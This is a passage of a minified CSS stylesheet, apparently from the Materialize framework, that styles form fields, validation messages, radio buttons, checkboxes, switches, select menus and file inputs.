textarea.materialize-textarea:disabled, textarea.materialize-textarea[readonly="readonly"] { color: rgba(0, 0, 0, 0.42); border-bottom: 1px dotted rgba(0, 0, 0, 0.42); } input:not([type]):disabled + label, input:not([type])[readonly="readonly"] + label, input[type=text]:not(.browser-default):disabled + label, input[type=text]:not(.browser-default)[readonly="readonly"] + label, input[type=password]:not(.browser-default):disabled + label, input[type=password]:not(.browser-default)[readonly="readonly"] + label, input[type=email]:not(.browser-default):disabled + label, input[type=email]:not(.browser-default)[readonly="readonly"] + label, input[type=url]:not(.browser-default):disabled + label, input[type=url]:not(.browser-default)[readonly="readonly"] + label, input[type=time]:not(.browser-default):disabled + label, input[type=time]:not(.browser-default)[readonly="readonly"] + label, input[type=date]:not(.browser-default):disabled + label, input[type=date]:not(.browser-default)[readonly="readonly"] + label, input[type=datetime]:not(.browser-default):disabled + label, input[type=datetime]:not(.browser-default)[readonly="readonly"] + label, input[type=datetime-local]:not(.browser-default):disabled + label, input[type=datetime-local]:not(.browser-default)[readonly="readonly"] + label, input[type=tel]:not(.browser-default):disabled + label, input[type=tel]:not(.browser-default)[readonly="readonly"] + label, input[type=number]:not(.browser-default):disabled + label, input[type=number]:not(.browser-default)[readonly="readonly"] + label, input[type=search]:not(.browser-default):disabled + label, input[type=search]:not(.browser-default)[readonly="readonly"] + label, textarea.materialize-textarea:disabled + label, textarea.materialize-textarea[readonly="readonly"] + label { color: rgba(0, 0, 0, 0.42); } input:not([type]):focus:not([readonly]), input[type=text]:not(.browser-default):focus:not([readonly]), input[type=password]:not(.browser-default):focus:not([readonly]), input[type=email]:not(.browser-default):focus:not([readonly]), input[type=url]:not(.browser-default):focus:not([readonly]), input[type=time]:not(.browser-default):focus:not([readonly]), input[type=date]:not(.browser-default):focus:not([readonly]), input[type=datetime]:not(.browser-default):focus:not([readonly]), input[type=datetime-local]:not(.browser-default):focus:not([readonly]), input[type=tel]:not(.browser-default):focus:not([readonly]), input[type=number]:not(.browser-default):focus:not([readonly]), input[type=search]:not(.browser-default):focus:not([readonly]), textarea.materialize-textarea:focus:not([readonly]) { border-bottom: 1px solid #26a69a; -webkit-box-shadow: 0 1px 0 0 #26a69a; box-shadow: 0 1px 0 0 #26a69a; } input:not([type]):focus:not([readonly]) + label, input[type=text]:not(.browser-default):focus:not([readonly]) + label, input[type=password]:not(.browser-default):focus:not([readonly]) + label, input[type=email]:not(.browser-default):focus:not([readonly]) + label, input[type=url]:not(.browser-default):focus:not([readonly]) + label, input[type=time]:not(.browser-default):focus:not([readonly]) + label, input[type=date]:not(.browser-default):focus:not([readonly]) + label, input[type=datetime]:not(.browser-default):focus:not([readonly]) + label, input[type=datetime-local]:not(.browser-default):focus:not([readonly]) + label, input[type=tel]:not(.browser-default):focus:not([readonly]) + label, input[type=number]:not(.browser-default):focus:not([readonly]) + label, input[type=search]:not(.browser-default):focus:not([readonly]) + label, textarea.materialize-textarea:focus:not([readonly]) + label { color: #26a69a; } input:not([type]):focus.valid ~ label, input[type=text]:not(.browser-default):focus.valid ~ label, input[type=password]:not(.browser-default):focus.valid ~ label, input[type=email]:not(.browser-default):focus.valid ~ label, input[type=url]:not(.browser-default):focus.valid ~ label, input[type=time]:not(.browser-default):focus.valid ~ label, input[type=date]:not(.browser-default):focus.valid ~ label, input[type=datetime]:not(.browser-default):focus.valid ~ label, input[type=datetime-local]:not(.browser-default):focus.valid ~ label, input[type=tel]:not(.browser-default):focus.valid ~ label, input[type=number]:not(.browser-default):focus.valid ~ label, input[type=search]:not(.browser-default):focus.valid ~ label, textarea.materialize-textarea:focus.valid ~ label { color: #4CAF50; } input:not([type]):focus.invalid ~ label, input[type=text]:not(.browser-default):focus.invalid ~ label, input[type=password]:not(.browser-default):focus.invalid ~ label, input[type=email]:not(.browser-default):focus.invalid ~ label, input[type=url]:not(.browser-default):focus.invalid ~ label, input[type=time]:not(.browser-default):focus.invalid ~ label, input[type=date]:not(.browser-default):focus.invalid ~ label, input[type=datetime]:not(.browser-default):focus.invalid ~ label, input[type=datetime-local]:not(.browser-default):focus.invalid ~ label, input[type=tel]:not(.browser-default):focus.invalid ~ label, input[type=number]:not(.browser-default):focus.invalid ~ label, input[type=search]:not(.browser-default):focus.invalid ~ label, textarea.materialize-textarea:focus.invalid ~ label { color: #F44336; } input:not([type]).validate + label, input[type=text]:not(.browser-default).validate + label, input[type=password]:not(.browser-default).validate + label, input[type=email]:not(.browser-default).validate + label, input[type=url]:not(.browser-default).validate + label, input[type=time]:not(.browser-default).validate + label, input[type=date]:not(.browser-default).validate + label, input[type=datetime]:not(.browser-default).validate + label, input[type=datetime-local]:not(.browser-default).validate + label, input[type=tel]:not(.browser-default).validate + label, input[type=number]:not(.browser-default).validate + label, input[type=search]:not(.browser-default).validate + label, textarea.materialize-textarea.validate + label { width: 100%; } /* Validation Sass Placeholders */ input.valid:not([type]), input.valid:not([type]):focus, input[type=text].valid:not(.browser-default), input[type=text].valid:not(.browser-default):focus, input[type=password].valid:not(.browser-default), input[type=password].valid:not(.browser-default):focus, input[type=email].valid:not(.browser-default), input[type=email].valid:not(.browser-default):focus, input[type=url].valid:not(.browser-default), input[type=url].valid:not(.browser-default):focus, input[type=time].valid:not(.browser-default), input[type=time].valid:not(.browser-default):focus, input[type=date].valid:not(.browser-default), input[type=date].valid:not(.browser-default):focus, input[type=datetime].valid:not(.browser-default), input[type=datetime].valid:not(.browser-default):focus, input[type=datetime-local].valid:not(.browser-default), input[type=datetime-local].valid:not(.browser-default):focus, input[type=tel].valid:not(.browser-default), input[type=tel].valid:not(.browser-default):focus, input[type=number].valid:not(.browser-default), input[type=number].valid:not(.browser-default):focus, input[type=search].valid:not(.browser-default), input[type=search].valid:not(.browser-default):focus, textarea.materialize-textarea.valid, textarea.materialize-textarea.valid:focus, .select-wrapper.valid > input.select-dropdown { border-bottom: 1px solid #4CAF50; -webkit-box-shadow: 0 1px 0 0 #4CAF50; box-shadow: 0 1px 0 0 #4CAF50; } input.invalid:not([type]), input.invalid:not([type]):focus, input[type=text].invalid:not(.browser-default), input[type=text].invalid:not(.browser-default):focus, input[type=password].invalid:not(.browser-default), input[type=password].invalid:not(.browser-default):focus, input[type=email].invalid:not(.browser-default), input[type=email].invalid:not(.browser-default):focus, input[type=url].invalid:not(.browser-default), input[type=url].invalid:not(.browser-default):focus, input[type=time].invalid:not(.browser-default), input[type=time].invalid:not(.browser-default):focus, input[type=date].invalid:not(.browser-default), input[type=date].invalid:not(.browser-default):focus, input[type=datetime].invalid:not(.browser-default), input[type=datetime].invalid:not(.browser-default):focus, input[type=datetime-local].invalid:not(.browser-default), input[type=datetime-local].invalid:not(.browser-default):focus, input[type=tel].invalid:not(.browser-default), input[type=tel].invalid:not(.browser-default):focus, input[type=number].invalid:not(.browser-default), input[type=number].invalid:not(.browser-default):focus, input[type=search].invalid:not(.browser-default), input[type=search].invalid:not(.browser-default):focus, textarea.materialize-textarea.invalid, textarea.materialize-textarea.invalid:focus, .select-wrapper.invalid > input.select-dropdown, .select-wrapper.invalid > input.select-dropdown:focus { border-bottom: 1px solid #F44336; -webkit-box-shadow: 0 1px 0 0 #F44336; box-shadow: 0 1px 0 0 #F44336; } input:not([type]).valid ~ .helper-text[data-success], input:not([type]):focus.valid ~ .helper-text[data-success], input:not([type]).invalid ~ .helper-text[data-error], input:not([type]):focus.invalid ~ .helper-text[data-error], input[type=text]:not(.browser-default).valid ~ .helper-text[data-success], input[type=text]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=text]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=text]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=password]:not(.browser-default).valid ~ .helper-text[data-success], input[type=password]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=password]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=password]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=email]:not(.browser-default).valid ~ .helper-text[data-success], input[type=email]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=email]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=email]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=url]:not(.browser-default).valid ~ .helper-text[data-success], input[type=url]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=url]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=url]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=time]:not(.browser-default).valid ~ .helper-text[data-success], input[type=time]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=time]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=time]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=date]:not(.browser-default).valid ~ .helper-text[data-success], input[type=date]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=date]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=date]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=datetime]:not(.browser-default).valid ~ .helper-text[data-success], input[type=datetime]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=datetime]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=datetime]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=datetime-local]:not(.browser-default).valid ~ .helper-text[data-success], input[type=datetime-local]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=datetime-local]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=datetime-local]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=tel]:not(.browser-default).valid ~ .helper-text[data-success], input[type=tel]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=tel]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=tel]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=number]:not(.browser-default).valid ~ .helper-text[data-success], input[type=number]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=number]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=number]:not(.browser-default):focus.invalid ~ .helper-text[data-error], input[type=search]:not(.browser-default).valid ~ .helper-text[data-success], input[type=search]:not(.browser-default):focus.valid ~ .helper-text[data-success], input[type=search]:not(.browser-default).invalid ~ .helper-text[data-error], input[type=search]:not(.browser-default):focus.invalid ~ .helper-text[data-error], textarea.materialize-textarea.valid ~ .helper-text[data-success], textarea.materialize-textarea:focus.valid ~ .helper-text[data-success], textarea.materialize-textarea.invalid ~ .helper-text[data-error], textarea.materialize-textarea:focus.invalid ~ .helper-text[data-error], .select-wrapper.valid .helper-text[data-success], .select-wrapper.invalid ~ .helper-text[data-error] { color: transparent; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; } input:not([type]).valid ~ .helper-text:after, input:not([type]):focus.valid ~ .helper-text:after, input[type=text]:not(.browser-default).valid ~ .helper-text:after, input[type=text]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=password]:not(.browser-default).valid ~ .helper-text:after, input[type=password]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=email]:not(.browser-default).valid ~ .helper-text:after, input[type=email]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=url]:not(.browser-default).valid ~ .helper-text:after, input[type=url]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=time]:not(.browser-default).valid ~ .helper-text:after, input[type=time]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=date]:not(.browser-default).valid ~ .helper-text:after, input[type=date]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=datetime]:not(.browser-default).valid ~ .helper-text:after, input[type=datetime]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=datetime-local]:not(.browser-default).valid ~ .helper-text:after, input[type=datetime-local]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=tel]:not(.browser-default).valid ~ .helper-text:after, input[type=tel]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=number]:not(.browser-default).valid ~ .helper-text:after, input[type=number]:not(.browser-default):focus.valid ~ .helper-text:after, input[type=search]:not(.browser-default).valid ~ .helper-text:after, input[type=search]:not(.browser-default):focus.valid ~ .helper-text:after, textarea.materialize-textarea.valid ~ .helper-text:after, textarea.materialize-textarea:focus.valid ~ .helper-text:after, .select-wrapper.valid ~ .helper-text:after { content: attr(data-success); color: #4CAF50; } input:not([type]).invalid ~ .helper-text:after, input:not([type]):focus.invalid ~ .helper-text:after, input[type=text]:not(.browser-default).invalid ~ .helper-text:after, input[type=text]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=password]:not(.browser-default).invalid ~ .helper-text:after, input[type=password]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=email]:not(.browser-default).invalid ~ .helper-text:after, input[type=email]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=url]:not(.browser-default).invalid ~ .helper-text:after, input[type=url]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=time]:not(.browser-default).invalid ~ .helper-text:after, input[type=time]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=date]:not(.browser-default).invalid ~ .helper-text:after, input[type=date]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=datetime]:not(.browser-default).invalid ~ .helper-text:after, input[type=datetime]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=datetime-local]:not(.browser-default).invalid ~ .helper-text:after, input[type=datetime-local]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=tel]:not(.browser-default).invalid ~ .helper-text:after, input[type=tel]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=number]:not(.browser-default).invalid ~ .helper-text:after, input[type=number]:not(.browser-default):focus.invalid ~ .helper-text:after, input[type=search]:not(.browser-default).invalid ~ .helper-text:after, input[type=search]:not(.browser-default):focus.invalid ~ .helper-text:after, textarea.materialize-textarea.invalid ~ .helper-text:after, textarea.materialize-textarea:focus.invalid ~ .helper-text:after, .select-wrapper.invalid ~ .helper-text:after { content: attr(data-error); color: #F44336; } input:not([type]) + label:after, input[type=text]:not(.browser-default) + label:after, input[type=password]:not(.browser-default) + label:after, input[type=email]:not(.browser-default) + label:after, input[type=url]:not(.browser-default) + label:after, input[type=time]:not(.browser-default) + label:after, input[type=date]:not(.browser-default) + label:after, input[type=datetime]:not(.browser-default) + label:after, input[type=datetime-local]:not(.browser-default) + label:after, input[type=tel]:not(.browser-default) + label:after, input[type=number]:not(.browser-default) + label:after, input[type=search]:not(.browser-default) + label:after, textarea.materialize-textarea + label:after, .select-wrapper + label:after { display: block; content: ""; position: absolute; top: 100%; left: 0; opacity: 0; -webkit-transition: .2s opacity ease-out, .2s color ease-out; transition: .2s opacity ease-out, .2s color ease-out; } .input-field { position: relative; margin-top: 1rem; margin-bottom: 1rem; } .input-field.inline { display: inline-block; vertical-align: middle; margin-left: 5px; } .input-field.inline input, .input-field.inline .select-dropdown { margin-bottom: 1rem; } .input-field.col label { left: 0.75rem; } .input-field.col .prefix ~ label, .input-field.col .prefix ~ .validate ~ label { width: calc(100% - 3rem - 1.5rem); } .input-field > label { color: #9e9e9e; position: absolute; top: 0; left: 0; font-size: 1rem; cursor: text; -webkit-transition: color .2s ease-out, -webkit-transform .2s ease-out; transition: color .2s ease-out, -webkit-transform .2s ease-out; transition: transform .2s ease-out, color .2s ease-out; transition: transform .2s ease-out, color .2s ease-out, -webkit-transform .2s ease-out; -webkit-transform-origin: 0% 100%; transform-origin: 0% 100%; text-align: initial; -webkit-transform: translateY(12px); transform: translateY(12px); } .input-field > label:not(.label-icon).active { -webkit-transform: translateY(-14px) scale(0.8); transform: translateY(-14px) scale(0.8); -webkit-transform-origin: 0 0; transform-origin: 0 0; } .input-field > input[type]:-webkit-autofill:not(.browser-default) + label, .input-field > input[type=date]:not(.browser-default) + label, .input-field > input[type=time]:not(.browser-default) + label { -webkit-transform: translateY(-14px) scale(0.8); transform: translateY(-14px) scale(0.8); -webkit-transform-origin: 0 0; transform-origin: 0 0; } .input-field .helper-text { position: relative; min-height: 18px; display: block; font-size: 12px; color: rgba(0, 0, 0, 0.54); } .input-field .helper-text::after { opacity: 1; position: absolute; top: 0; left: 0; } .input-field .prefix { position: absolute; width: 3rem; font-size: 2rem; -webkit-transition: color .2s; transition: color .2s; top: 0.5rem; } .input-field .prefix.active { color: #26a69a; } .input-field .prefix ~ input, .input-field .prefix ~ textarea, .input-field .prefix ~ label, .input-field .prefix ~ .validate ~ label, .input-field .prefix ~ .helper-text, .input-field .prefix ~ .autocomplete-content { margin-left: 3rem; width: 92%; width: calc(100% - 3rem); } .input-field .prefix ~ label { margin-left: 3rem; } @media only screen and (max-width: 992px) { .input-field .prefix ~ input { width: 86%; width: calc(100% - 3rem); } } @media only screen and (max-width: 600px) { .input-field .prefix ~ input { width: 80%; width: calc(100% - 3rem); } } /* Search Field */ .input-field input[type=search] { display: block; line-height: inherit; -webkit-transition: .3s background-color; transition: .3s background-color; } .nav-wrapper .input-field input[type=search] { height: inherit; padding-left: 4rem; width: calc(100% - 4rem); border: 0; -webkit-box-shadow: none; box-shadow: none; } .input-field input[type=search]:focus:not(.browser-default) { background-color: #fff; border: 0; -webkit-box-shadow: none; box-shadow: none; color: #444; } .input-field input[type=search]:focus:not(.browser-default) + label i, .input-field input[type=search]:focus:not(.browser-default) ~ .mdi-navigation-close, .input-field input[type=search]:focus:not(.browser-default) ~ .material-icons { color: #444; } .input-field input[type=search] + .label-icon { -webkit-transform: none; transform: none; left: 1rem; } .input-field input[type=search] ~ .mdi-navigation-close, .input-field input[type=search] ~ .material-icons { position: absolute; top: 0; right: 1rem; color: transparent; cursor: pointer; font-size: 2rem; -webkit-transition: .3s color; transition: .3s color; } /* Textarea */ textarea { width: 100%; height: 3rem; background-color: transparent; } textarea.materialize-textarea { line-height: normal; overflow-y: hidden; /* prevents scroll bar flash */ padding: .8rem 0 .8rem 0; /* prevents text jump on Enter keypress */ resize: none; min-height: 3rem; -webkit-box-sizing: border-box; box-sizing: border-box; } .hiddendiv { visibility: hidden; white-space: pre-wrap; word-wrap: break-word; overflow-wrap: break-word; /* future version of deprecated 'word-wrap' */ padding-top: 1.2rem; /* prevents text jump on Enter keypress */ position: absolute; top: 0; z-index: -1; } /* Autocomplete */ .autocomplete-content li .highlight { color: #444; } .autocomplete-content li img { height: 40px; width: 40px; margin: 5px 15px; } /* Character Counter */ .character-counter { min-height: 18px; } /* Radio Buttons ========================================================================== */ [type="radio"]:not(:checked), [type="radio"]:checked { position: absolute; opacity: 0; pointer-events: none; } [type="radio"]:not(:checked) + span, [type="radio"]:checked + span { position: relative; padding-left: 35px; cursor: pointer; display: inline-block; height: 25px; line-height: 25px; font-size: 1rem; -webkit-transition: .28s ease; transition: .28s ease; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } [type="radio"] + span:before, [type="radio"] + span:after { content: ''; position: absolute; left: 0; top: 0; margin: 4px; width: 16px; height: 16px; z-index: 0; -webkit-transition: .28s ease; transition: .28s ease; } /* Unchecked styles */ [type="radio"]:not(:checked) + span:before, [type="radio"]:not(:checked) + span:after, [type="radio"]:checked + span:before, [type="radio"]:checked + span:after, [type="radio"].with-gap:checked + span:before, [type="radio"].with-gap:checked + span:after { border-radius: 50%; } [type="radio"]:not(:checked) + span:before, [type="radio"]:not(:checked) + span:after { border: 2px solid #5a5a5a; } [type="radio"]:not(:checked) + span:after { -webkit-transform: scale(0); transform: scale(0); } /* Checked styles */ [type="radio"]:checked + span:before { border: 2px solid transparent; } [type="radio"]:checked + span:after, [type="radio"].with-gap:checked + span:before, [type="radio"].with-gap:checked + span:after { border: 2px solid #26a69a; } [type="radio"]:checked + span:after, [type="radio"].with-gap:checked + span:after { background-color: #26a69a; } [type="radio"]:checked + span:after { -webkit-transform: scale(1.02); transform: scale(1.02); } /* Radio With gap */ [type="radio"].with-gap:checked + span:after { -webkit-transform: scale(0.5); transform: scale(0.5); } /* Focused styles */ [type="radio"].tabbed:focus + span:before { -webkit-box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1); box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1); } /* Disabled Radio With gap */ [type="radio"].with-gap:disabled:checked + span:before { border: 2px solid rgba(0, 0, 0, 0.42); } [type="radio"].with-gap:disabled:checked + span:after { border: none; background-color: rgba(0, 0, 0, 0.42); } /* Disabled style */ [type="radio"]:disabled:not(:checked) + span:before, [type="radio"]:disabled:checked + span:before { background-color: transparent; border-color: rgba(0, 0, 0, 0.42); } [type="radio"]:disabled + span { color: rgba(0, 0, 0, 0.42); } [type="radio"]:disabled:not(:checked) + span:before { border-color: rgba(0, 0, 0, 0.42); } [type="radio"]:disabled:checked + span:after { background-color: rgba(0, 0, 0, 0.42); border-color: #949494; } /* Checkboxes ========================================================================== */ /* Remove default checkbox */ [type="checkbox"]:not(:checked), [type="checkbox"]:checked { position: absolute; opacity: 0; pointer-events: none; } [type="checkbox"] { /* checkbox aspect */ } [type="checkbox"] + span:not(.lever) { position: relative; padding-left: 35px; cursor: pointer; display: inline-block; height: 25px; line-height: 25px; font-size: 1rem; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } [type="checkbox"] + span:not(.lever):before, [type="checkbox"]:not(.filled-in) + span:not(.lever):after { content: ''; position: absolute; top: 0; left: 0; width: 18px; height: 18px; z-index: 0; border: 2px solid #5a5a5a; border-radius: 1px; margin-top: 3px; -webkit-transition: .2s; transition: .2s; } [type="checkbox"]:not(.filled-in) + span:not(.lever):after { border: 0; -webkit-transform: scale(0); transform: scale(0); } [type="checkbox"]:not(:checked):disabled + span:not(.lever):before { border: none; background-color: rgba(0, 0, 0, 0.42); } [type="checkbox"].tabbed:focus + span:not(.lever):after { -webkit-transform: scale(1); transform: scale(1); border: 0; border-radius: 50%; -webkit-box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1); box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.1); background-color: rgba(0, 0, 0, 0.1); } [type="checkbox"]:checked + span:not(.lever):before { top: -4px; left: -5px; width: 12px; height: 22px; border-top: 2px solid transparent; border-left: 2px solid transparent; border-right: 2px solid #26a69a; border-bottom: 2px solid #26a69a; -webkit-transform: rotate(40deg); transform: rotate(40deg); -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"]:checked:disabled + span:before { border-right: 2px solid rgba(0, 0, 0, 0.42); border-bottom: 2px solid rgba(0, 0, 0, 0.42); } /* Indeterminate checkbox */ [type="checkbox"]:indeterminate + span:not(.lever):before { top: -11px; left: -12px; width: 10px; height: 22px; border-top: none; border-left: none; border-right: 2px solid #26a69a; border-bottom: none; -webkit-transform: rotate(90deg); transform: rotate(90deg); -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"]:indeterminate:disabled + span:not(.lever):before { border-right: 2px solid rgba(0, 0, 0, 0.42); background-color: transparent; } [type="checkbox"].filled-in + span:not(.lever):after { border-radius: 2px; } [type="checkbox"].filled-in + span:not(.lever):before, [type="checkbox"].filled-in + span:not(.lever):after { content: ''; left: 0; position: absolute; /* .1s delay is for check animation */ -webkit-transition: border .25s, background-color .25s, width .20s .1s, height .20s .1s, top .20s .1s, left .20s .1s; transition: border .25s, background-color .25s, width .20s .1s, height .20s .1s, top .20s .1s, left .20s .1s; z-index: 1; } [type="checkbox"].filled-in:not(:checked) + span:not(.lever):before { width: 0; height: 0; border: 3px solid transparent; left: 6px; top: 10px; -webkit-transform: rotateZ(37deg); transform: rotateZ(37deg); -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"].filled-in:not(:checked) + span:not(.lever):after { height: 20px; width: 20px; background-color: transparent; border: 2px solid #5a5a5a; top: 0px; z-index: 0; } [type="checkbox"].filled-in:checked + span:not(.lever):before { top: 0; left: 1px; width: 8px; height: 13px; border-top: 2px solid transparent; border-left: 2px solid transparent; border-right: 2px solid #fff; border-bottom: 2px solid #fff; -webkit-transform: rotateZ(37deg); transform: rotateZ(37deg); -webkit-transform-origin: 100% 100%; transform-origin: 100% 100%; } [type="checkbox"].filled-in:checked + span:not(.lever):after { top: 0; width: 20px; height: 20px; border: 2px solid #26a69a; background-color: #26a69a; z-index: 0; } [type="checkbox"].filled-in.tabbed:focus + span:not(.lever):after { border-radius: 2px; border-color: #5a5a5a; background-color: rgba(0, 0, 0, 0.1); } [type="checkbox"].filled-in.tabbed:checked:focus + span:not(.lever):after { border-radius: 2px; background-color: #26a69a; border-color: #26a69a; } [type="checkbox"].filled-in:disabled:not(:checked) + span:not(.lever):before { background-color: transparent; border: 2px solid transparent; } [type="checkbox"].filled-in:disabled:not(:checked) + span:not(.lever):after { border-color: transparent; background-color: #949494; } [type="checkbox"].filled-in:disabled:checked + span:not(.lever):before { background-color: transparent; } [type="checkbox"].filled-in:disabled:checked + span:not(.lever):after { background-color: #949494; border-color: #949494; } /* Switch ========================================================================== */ .switch, .switch * { -webkit-tap-highlight-color: transparent; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .switch label { cursor: pointer; } .switch label input[type=checkbox] { opacity: 0; width: 0; height: 0; } .switch label input[type=checkbox]:checked + .lever { background-color: #84c7c1; } .switch label input[type=checkbox]:checked + .lever:before, .switch label input[type=checkbox]:checked + .lever:after { left: 18px; } .switch label input[type=checkbox]:checked + .lever:after { background-color: #26a69a; } .switch label .lever { content: ""; display: inline-block; position: relative; width: 36px; height: 14px; background-color: rgba(0, 0, 0, 0.38); border-radius: 15px; margin-right: 10px; -webkit-transition: background 0.3s ease; transition: background 0.3s ease; vertical-align: middle; margin: 0 16px; } .switch label .lever:before, .switch label .lever:after { content: ""; position: absolute; display: inline-block; width: 20px; height: 20px; border-radius: 50%; left: 0; top: -3px; -webkit-transition: left 0.3s ease, background .3s ease, -webkit-box-shadow 0.1s ease, -webkit-transform .1s ease; transition: left 0.3s ease, background .3s ease, -webkit-box-shadow 0.1s ease, -webkit-transform .1s ease; transition: left 0.3s ease, background .3s ease, box-shadow 0.1s ease, transform .1s ease; transition: left 0.3s ease, background .3s ease, box-shadow 0.1s ease, transform .1s ease, -webkit-box-shadow 0.1s ease, -webkit-transform .1s ease; } .switch label .lever:before { background-color: rgba(38, 166, 154, 0.15); } .switch label .lever:after { background-color: #F1F1F1; -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12); box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12); } input[type=checkbox]:checked:not(:disabled) ~ .lever:active::before, input[type=checkbox]:checked:not(:disabled).tabbed:focus ~ .lever::before { -webkit-transform: scale(2.4); transform: scale(2.4); background-color: rgba(38, 166, 154, 0.15); } input[type=checkbox]:not(:disabled) ~ .lever:active:before, input[type=checkbox]:not(:disabled).tabbed:focus ~ .lever::before { -webkit-transform: scale(2.4); transform: scale(2.4); background-color: rgba(0, 0, 0, 0.08); } .switch input[type=checkbox][disabled] + .lever { cursor: default; background-color: rgba(0, 0, 0, 0.12); } .switch label input[type=checkbox][disabled] + .lever:after, .switch label input[type=checkbox][disabled]:checked + .lever:after { background-color: #949494; } /* Select Field ========================================================================== */ select { display: none; } select.browser-default { display: block; } select { background-color: rgba(255, 255, 255, 0.9); width: 100%; padding: 5px; border: 1px solid #f2f2f2; border-radius: 2px; height: 3rem; } .select-label { position: absolute; } .select-wrapper { position: relative; } .select-wrapper.valid + label, .select-wrapper.invalid + label { width: 100%; pointer-events: none; } .select-wrapper input.select-dropdown { position: relative; cursor: pointer; background-color: transparent; border: none; border-bottom: 1px solid #9e9e9e; outline: none; height: 3rem; line-height: 3rem; width: 100%; font-size: 16px; margin: 0 0 8px 0; padding: 0; display: block; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; z-index: 1; } .select-wrapper input.select-dropdown:focus { border-bottom: 1px solid #26a69a; } .select-wrapper .caret { position: absolute; right: 0; top: 0; bottom: 0; margin: auto 0; z-index: 0; fill: rgba(0, 0, 0, 0.87); } .select-wrapper + label { position: absolute; top: -26px; font-size: 0.8rem; } select:disabled { color: rgba(0, 0, 0, 0.42); } .select-wrapper.disabled + label { color: rgba(0, 0, 0, 0.42); } .select-wrapper.disabled .caret { fill: rgba(0, 0, 0, 0.42); } .select-wrapper input.select-dropdown:disabled { color: rgba(0, 0, 0, 0.42); cursor: default; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .select-wrapper i { color: rgba(0, 0, 0, 0.3); } .select-dropdown li.disabled, .select-dropdown li.disabled > span, .select-dropdown li.optgroup { color: rgba(0, 0, 0, 0.3); background-color: transparent; } body.keyboard-focused .select-dropdown.dropdown-content li:focus { background-color: rgba(0, 0, 0, 0.08); } .select-dropdown.dropdown-content li:hover { background-color: rgba(0, 0, 0, 0.08); } .select-dropdown.dropdown-content li.selected { background-color: rgba(0, 0, 0, 0.03); } .prefix ~ .select-wrapper { margin-left: 3rem; width: 92%; width: calc(100% - 3rem); } .prefix ~ label { margin-left: 3rem; } .select-dropdown li img { height: 40px; width: 40px; margin: 5px 15px; float: right; } .select-dropdown li.optgroup { border-top: 1px solid #eee; } .select-dropdown li.optgroup.selected > span { color: rgba(0, 0, 0, 0.7); } .select-dropdown li.optgroup > span { color: rgba(0, 0, 0, 0.4); } .select-dropdown li.optgroup ~ li.optgroup-option { padding-left: 1rem; } /* File Input ========================================================================== */ .file-field { position: relative; } .file-field .file-path-wrapper { overflow: hidden; padding-left: 10px; } .file-field input.file-path { width: 100%; } .file-field .btn, .file-field .btn-large, .file-field .btn-small { float: left; height: 3rem; 